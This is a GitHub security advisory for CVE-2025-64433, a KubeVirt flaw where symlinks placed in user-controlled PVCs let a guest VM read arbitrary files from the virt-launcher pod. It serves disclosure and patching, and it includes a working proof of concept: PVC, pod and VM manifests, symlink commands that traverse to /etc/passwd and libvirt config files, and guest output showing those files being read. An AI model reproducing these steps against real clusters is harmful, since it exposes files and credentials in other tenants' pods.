GitHub Advisoryadvisory · Go
GHSA-qw6q-3pgr-5cwq KubeVirt Arbitrary Container File Read
MEDIUM
Official page ↗
- Aliases
- CVE-2025-64433
- Ecosystem
- Go
- Packages
- kubevirt.io/kubevirt
- Severity
- Moderate
- CVSS vector
- CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
- Weaknesses
- CWE-22
- Reviewed
- 2025-11-06
Affected packages
• Go kubevirt.io/kubevirt: < 1.5.3 → fixed in 1.5.3
• Go kubevirt.io/kubevirt: >= 1.6.0-alpha.0, < 1.6.1 → fixed in 1.6.1
Description
Summary
_Short summary of the problem. Make the impact and severity as clear as possible.
Mounting a user-controlled PVC disk within a VM allows an attacker to read any file present in the `virt-launcher` pod. This is due to erroneous handling of symlinks defined within a PVC.
Details
_Give all details on the vulnerability. Pointing to the incriminated source code is very helpful for the maintainer._
A vulnerability was discovered that allows a VM to read arbitrary files from the `virt-launcher` pod's file system. This issue stems from improper symlink handling when mounting PVC disks into a VM. Specifically, if a malicious user has full or partial control over the contents of a PVC, they can create a symbolic link that points to a file within the `virt-launcher` pod's file system. Since `libvirt` can treat regular files as block devices, any file on the pod's file system that is symlinked in this way can be mounted into the VM and subsequently read.
Although a security mechanism exists where VMs are executed as an unprivileged user with UID `107` inside the `virt-launcher` container, limiting the scope of accessible resources, this restriction is bypassed due to a second vulnerability (TODO: put link here). The latter causes the ownership of any file intended for mounting to be changed to the unprivileged user with UID `107` prior to mounting. As a result, an attacker can gain access to and read arbitrary files located within the `virt-launcher` pod's file system or on a mounted PVC from within the guest VM.
PoC
_Complete instructions, including specific configuration details, to reproduce the vulnerability._
Consider that an attacker has control over the contents of two PVC (e.g., from within a container) and creates the following symlinks:
```yaml
The YAML definition of two PVCs that the attacker has access to
apiVersion: v1
kind: PersistentVolumeClaim
metadata:
name: pvc-arbitrary-container-read-1
spec:
accessModes:
• ReadWriteMany # suitable for migration (:= RWX)
resources:
requests:
storage: 500Mi
---
apiVersion: v1
kind: PersistentVolumeClaim
metadata:
name: pvc-arbitrary-container-read-2
spec:
accessModes:
• ReadWriteMany # suitable for migration (:= RWX)
resources:
requests:
storage: 500Mi
---
The attacker-controlled container used to create the symlinks in the above PVCs
apiVersion: v1
kind: Pod
metadata:
name: dual-pvc-pod
spec:
containers:
• name: app-container
image: alpine
command: ["/some-vulnerable-app"]
volumeMounts:
• name: pvc-volume-one
mountPath: /mnt/data1
• name: pvc-volume-two
mountPath: /mnt/data2
volumes:
• name: pvc-volume-one
persistentVolumeClaim:
claimName: pvc-arbitrary-container-read-1
• name: pvc-volume-two
persistentVolumeClaim:
claimName: pvc-arbitrary-container-read-2
```
By default, Minikube's storage controller (`hostpath-provisioner`) will allocate the claim as a directory on the host node (`HostPath`). Once the above Kubernetes resources are created, the user can create the symlinks within the PVC as follows:
```bash
Using the `pvc-arbitrary-container-read-1` PVC we want to read the default XML configuration generated by `virt-launcher` for `libvirt`. Hence, the attacker has to create a symlink including the name of the future VM which will be created using this configuration.
attacker@dual-pvc-pod:/mnt/data1 $ln -s ../../../../../../../../var/run/libvirt/qemu/run/default_arbitrary-container-read.xml disk.img
attacker@dual-pvc-pod:/mnt/data1 $ls -l
lrwxrwxrwx 1 root root 85 May 19 22:24 disk.img -> ../../../../../../../../var/run/libvirt/qemu/run/default_arbitrary-container-read.xml
With the `pvc-arbitrary-container-read-2` we want to read the `/etc/passwd` of the `virt-launcher` container which will launch the future VM
attacker@dual-pvc-pod:/mnt/data2 $ln -s ../../../../../../../../etc/passwd disk.img
attacker@dual-pvc-pod:/mnt/data2 $ls -l
lrwxrwxrwx 1 root root 34 May 19 22:26 disk.img -> ../../../../../../../../etc/passwd
```
Of course, these links could potentially be broken as the files, especially `default_arbitrary-container-read.xml`, could not exist on the `dual-pvc-pod` pod's file system. The attacker then deploy the following VM:
```yaml
arbitrary-container-read.yaml
apiVersion: kubevirt.io/v1
kind: VirtualMachine
metadata:
name: arbitrary-container-read
spec:
runStrategy: Always
template:
metadata:
labels:
kubevirt.io/size: small
kubevirt.io/domain: arbitrary-container-read
spec:
domain:
devices:
disks:
• name: containerdisk
disk:
bus: virtio
• name: pvc-1
disk:
bus: virtio
• name: pvc-2
disk:
bus: virtio
• name: cloudinitdisk
disk:
bus: virtio
interfaces:
• name: default
masquerade: {}
resources:
requests:
memory: 64M
networks:
• name: default
pod: {}
volumes:
• name: containerdisk
containerDisk:
image: quay.io/kubevirt/cirros-container-disk-demo
• name: pvc-1
persistentVolumeClaim:
claimName: pvc-arbitrary-container-read-1
• name: pvc-2
persistentVolumeClaim:
claimName: pvc-arbitrary-container-read-2
• name: cloudinitdisk
cloudInitNoCloud:
userDataBase64: SGkuXG4=
```
The two PVCs will be mounted as volumes in "filesystem" mode:
From the documentation of the different volume modes, one can infer that if the backing `disk.img` is not owned by the unprivileged user with UID `107`, the VM should fail to mount it. In addition, it's expected that this backing file is in RAW format. While this format can contain pretty much anything, we consider that being able to mount a file from the file system of `virt-launcher` is not the expected behaviour. Below is demonstrated that after applying the VM manifest, the guest can read the `/etc/passwd` and `default_migration.xml` files from the `virt-launcher` pod's file system:
```bash
Deploy the VM manifest
operator@minikube:~$ kubectl apply -f arbitrary-container-read.yaml
virtualmachine.kubevirt.io/arbitrary-container-read created
Observe the deployment status
operator@minikube:~$ kubectl get vmis
NAME AGE PHASE IP NODENAME READY
arbitrary-container-read 80s Running 10.244.1.9 minikube-m02 True
Initiate a console connection to the running VM
operator@minikube:~$ virtctl console arbitrary-container-read
```
```bash
Within the `arbitrary-container-read` VM, inspect the available block devices
root@arbitrary-container-read:~$ lsblk
NAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINT
vda 253:0 0 44M 0 disk
|-vda1 253:1 0 35M 0 part /
-vda15 253:15 0 8M 0 part
vdb 253:16 0 20K 0 disk
vdc 253:32 0 512B 0 disk
vdd 253:48 0 1M 0 disk
Inspect the mounted /etc/passwd of the `virt-launcher` pod
root@arbitrary-container-read:~$ cat /dev/vdc
qemu:x:107:107:user:/home/qemu:/bin/bash
root:x:0:0:root:/root:/bin/bash
Inspect the mounted `default_migration.xml` of the `virt-launcher` pod
root@arbitrary-container-read:~$ cat /dev/vdb | head -n 20
<monitor path='/var/run/kubevirt-private/libvirt/qemu/lib/domain-1-default_arbitrary-co/monitor.sock' type='u…
Related
Alias · CVE (1)
- CVE-2025-64433 KubeVirt is a virtual machine management add-on for Kubernetes. vulnerability
Weakness · CWE (1)
- CWE-22 Improper Limitation of a Pathname to a Restricted Directory weakness
References
- https://github.com/kubevirt/kubevirt/security/advisories/GHSA-qw6q-3pgr-5cwq web
- https://nvd.nist.gov/vuln/detail/CVE-2025-64433 advisory
- https://github.com/kubevirt/kubevirt/commit/09eafa068ec01eca0e96ebafeeb9522a878dbf64 web
- https://github.com/kubevirt/kubevirt/commit/9dc798cb1efe924a9a2b97b6e016452dec5e3849 web
- https://github.com/kubevirt/kubevirt/commit/a81b27d4600cf654274dd197119658382affdb08 web
- https://github.com/kubevirt/kubevirt package